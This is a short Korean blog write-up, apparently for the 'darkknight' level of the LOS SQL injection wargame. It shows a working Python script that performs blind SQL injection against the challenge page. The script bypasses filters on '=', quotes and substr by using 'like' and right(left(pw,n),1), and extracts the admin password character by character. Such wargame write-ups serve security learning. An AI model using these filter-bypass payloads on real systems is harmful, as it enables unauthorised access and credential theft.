LOS - darkknight
2020. 5. 5. 21:41ㆍWeb
이번에도 blind sql injection이다.
=, ' , substr , ascii 등이 막혔다. 그럼 이번엔
length(pw) like %d
right(left(pw,%d),1) like %c
를 이용하여 문제를 풀어보았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
import requests
#?pw=aaa&no=1 %26%26 id like "admin" %26%26 length(pw) like 12
cookies = {
"PHPSESSID" : "나의 PHPSESSID"
}
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
i = 1
pw = ""
while True:
payload = "?pw=aaa&no=1 || id like \"admin\" %26%26 length(pw) like "+str(i)
res = requests.get(url=url+payload,cookies=cookies)
print("length is : %d" %i)
if("Hello admin" in res.text):
for j in range(1,i+1):
for k in range(33,127):
payload = "?pw=aaa&no=1 || id like \"admin\" %26%26 right(left(pw,"+str(j)+"),1)%20like%20\""+chr(k)+"\""
res = requests.get(url=url+payload, cookies=cookies)
print(chr(k),end="")
if "Hello admin" in res.text:
pw += chr(k)
print("\npw : "+pw)
break
break
i+=1
print("\nlength of pw : %d" %i)
print("\npw : "+pw)
|
cs |
비밀번호의 대소문자는 구한 값과 다르다 mysql의 대소문자 구별을 하지 않고 검색하고 php는 그렇지 않기때문에
알파벳의 대소문자는 그냥 유추했다.
'Web' 카테고리의 다른 글
LOS - giant (0) | 2020.05.06 |
---|---|
LOS - bugbear (0) | 2020.05.06 |
LOS - golem (1) | 2020.05.05 |
LOS - skeleton (0) | 2020.05.05 |
LOS - vampire (0) | 2020.05.05 |